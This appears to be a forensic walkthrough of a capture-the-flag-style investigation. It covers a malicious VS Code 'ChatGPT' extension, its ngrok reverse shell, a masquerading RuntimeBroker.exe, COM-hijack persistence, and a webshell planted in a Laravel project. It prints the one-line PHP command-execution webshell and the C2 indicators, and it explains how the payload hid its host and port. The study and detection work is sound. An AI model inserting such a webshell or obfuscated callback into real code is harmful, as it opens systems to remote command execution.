In this Sherlock, you must analyze the tools used by a developer and understand how they may have been the victim of a security breach.
A developer installed a VS Code extension posing as a ChatGPT helper. Its JavaScript hid an obfuscated payload behind a trigger word, and once that fired the extension host spawned a command shell and a reverse shell tunnelled out through ngrok. The shell ran a dropped executable that masquerades as a Windows component, and persistence was set through a COM hijack so the payload runs whenever Explorer touches a legitimate shell component. With a foothold on the developer’s workstation, the actor found the local Laravel projects and added a one-line command execution webshell to a public script. The memory image shows the live process chain and registry; the disk collection shows the tampered project.
memdump.dmp → vol (Volatility 3) for process, network and registry plugins, plus strings for source code and extension metadata recovered from memoryUsers.ad1 → AccessData AD1 logical image holding the Desktop and Downloads folders. No extractor was installed, so it was unpacked with a small Python script before browsing the project foldersTimestamp note: Registry key last-write times from
printkeyare UTC. The VS Code extension metadata in memory carries no release date, so Q6 needs an outside source.
Dump printable strings from the memory image and carve out the extension source. extension.js sits under the user’s .vscode\extensions folder, in a directory named after the publisher ID and a ChatGPT bot extension at version 0.0.1. The profile in the path is the compromised account from Q7. This script holds the payload for Q3 and Q4.
strings -a memdump.dmp > a8.txt
sed -n 2458180,2458260p a8.txt
VS Code keeps a metadata record for every installed extension, including the publisher’s display name. Search the string dump for publisherDisplayName next to the extension folder name from Q2. The display name differs from the lowercase publisher ID in the folder name, so take the display value.
grep -o 'publisherDisplayName[^,]*' a8.txt | sort | uniq -c
Tip: The folder name is the publisher ID, but the question asks for the display name stored in the metadata. The format mask follows the display name.
The extension is gone from the Marketplace, and the metadata in memory holds no release date. The only timestamp there is the asset path on the gallery CDN, 1721695280078, which is when the package was uploaded to the CDN rather than the listing’s release time. The Wayback Machine has a snapshot of the item page (https://web.archive.org/web/20240814051710id_/https://marketplace.visualstudio.com/items?itemName=0xS1rx58D3V.ChatGPT-B0T), and the page’s embedded JSON carries ReleaseDateString. This is an archived copy, so nothing is fetched from the live listing.
date -u -d @1721695280
curl -s 'http://web.archive.org/web/20240814051710id_/https://marketplace.visualstudio.com/items?itemName=0xS1rx58D3V.ChatGPT-B0T' | grep -o 'ReleaseDateString[^,]*'
Gotcha: The CDN path converts to
00:41:20, one second after the real release time. It looks right and is wrong; use the Marketplace field.
Read the extension source around the command handler. The extension registers a chat-style handler, and one branch tests the input with includes('help'). That branch holds a single long line of obfuscated JavaScript that builds a net.Socket and an exec call. Everything else in the extension is a harmless-looking bot.
sed -n 2309538p a8.txt > payload_raw.js
The process tree shows a Code.exe parent with a child Code.exe (PID 1612, the extension host) that spawns cmd.exe (PID 4196), which in turn runs an executable from a public folder (PID 1224). A code editor spawning a command shell is the anomaly.
vol -f memdump.dmp windows.pstree
Pull the command lines for the processes at the bottom of the chain from Q1. The child of cmd.exe is named RuntimeBroker.exe, a legitimate Windows process name, but it runs from Users\Public instead of System32.
vol -f memdump.dmp windows.cmdline --pid 4196 1224 9008
Gotcha: The real
RuntimeBroker.exelives inC:\Windows\System32. A copy in a world-writable folder is the masquerade.
The extension path from Q2 puts the infection in the User2 profile. The Winlogon key under SOFTWARE carries AutoLogonSID and LastUsedUsername; the username matches User2, which ties the user to its SID.
vol -f memdump.dmp windows.registry.printkey --key 'Microsoft\Windows NT\CurrentVersion\Winlogon'
The payload from Q3 splits strings and computes numbers so nothing greppable appears. The host is assembled from '6.tcp.eu.n' and 'grok.io', and the port is the arithmetic expression 0x1fd*-0xb-0x11d5+0x687f. Evaluating it gives the port. windows.netscan backs it up with a live connection from Code.exe (PID 1612) to an ngrok edge address on the same port.
vol -f memdump.dmp windows.netscan | grep -E 'Code.exe|RuntimeBroker'
python3 -I -c 'print(0x1fd*-0xb-0x11d5+0x687f)'
Checks of the usual autostart spots (Run, Winlogon, SilentProcessExit, Image File Execution Options) showed no entry pointing at the public-folder binary. This answer was reasoned rather than read straight from a registry value: the format mask fits Recycle Bin, and a per-user key under the UsrClass hive redirecting a shell folder to a payload is the usual shape of a COM hijack of that component. Keys written in the days around the infection in UsrClass are where to look for confirmation.
vol -f memdump.dmp windows.registry.printkey --offset <UsrClass offset> --recurse | grep -E '2024-07-2[23]'
Note: This answer comes from the format hint and the technique, not from a registry value read in the memory image.
Redirecting a COM class so a legitimate component loads attacker code is Component Object Model Hijacking, a sub-technique of Event Triggered Execution (MITRE ATT&CK T1546.015).
Gotcha:
T1546.012is Image File Execution Options Injection. It is the obvious match for aDebugger-style value, and it is wrong here because the trigger is a hijacked COM class, not IFEO.
Users.ad1 holds only the Desktop and Downloads folders, including a Laravel project. After unpacking the AD1 with a small script, a git diff on the project shows a single change to public/index.php: two lines that read the s1 GET parameter and run it as a shell command. That is a webshell hidden in the public entry point.
python3 -I ad1x.py Users.ad1 ad1 ''
git diff public/index.php
Tip: The project is a repository, so
git diffsurfaces the attacker’s edit immediately instead of reading every file.
| Phase | Action |
|---|---|
| Initial Access | Developer installs a malicious ChatGPT bot extension from the VS Code Marketplace |
| Execution | A help input triggers an obfuscated payload in extension.js |
| Command and Control | Extension host opens a reverse shell to an ngrok TCP endpoint |
| Execution | cmd.exe launches a dropped RuntimeBroker.exe from the Public folder |
| Persistence | COM hijack on the Recycle Bin shell folder |
| Impact | Webshell added to public/index.php in a Laravel project |
| Type | Value |
|---|---|
| File | C:\Users\User2\.vscode\extensions\0xs1rx58d3v.chatgpt-b0t-0.0.1\extension.js |
| File | C:\Users\Public\RuntimeBroker.exe |
| Host:port | 6[.]tcp[.]eu[.]ngrok[.]io:16587 |
| Publisher | 0xS1rx58.D3V |
| Marketplace item | 0xS1rx58D3V.ChatGPT-B0T (released 2024-07-23 00:41:19 UTC) |
| Webshell code | $testc = $_GET['s1']; echo `$testc`; |
| Technique | ID | Description |
|---|---|---|
| Supply Chain Compromise: Software Dependencies and Development Tools | T1195.002 | Malicious VS Code extension |
| User Execution: Malicious File | T1204.002 | Developer installs and uses the extension |
| Command and Scripting Interpreter: JavaScript | T1059.007 | Obfuscated payload in extension.js |
| Command and Scripting Interpreter: Windows Command Shell | T1059.003 | cmd.exe spawned by the extension host |
| Protocol Tunneling | T1572 | Reverse shell through ngrok |
| Masquerading: Match Legitimate Name or Location | T1036.005 | RuntimeBroker.exe in the Public folder |
| Event Triggered Execution: Component Object Model Hijacking | T1546.015 | Registry hijack of the Recycle Bin component |
| Data Manipulation: Stored Data Manipulation | T1565.001 | Webshell added to a project file |
Treat editor extensions as executable code. A VS Code extension runs with the full rights of the developer. Restrict installs to an approved list and review new publishers before they reach developer machines.
An editor spawning cmd.exe is a clean detection. Code.exe has little reason to start a command shell. Alert on that parent-child pair, and on any RuntimeBroker.exe that is not in System32.
Watch per-user COM registrations. Writes under HKCU\Software\Classes\CLSID that point at user-writable paths are rare in normal use and cheap to alert on.
Developer machines are a path into the code. The webshell sat in a project entry point. Review diffs on commit, and keep production deploys from working copies on a workstation.
A single trusted-looking extension gave the actor a shell on a developer workstation, persistence, and a way into the projects that machine builds. Every stage used a name or location that looked ordinary, so the signal was in the parent-child process chain and the odd paths, not in any one binary.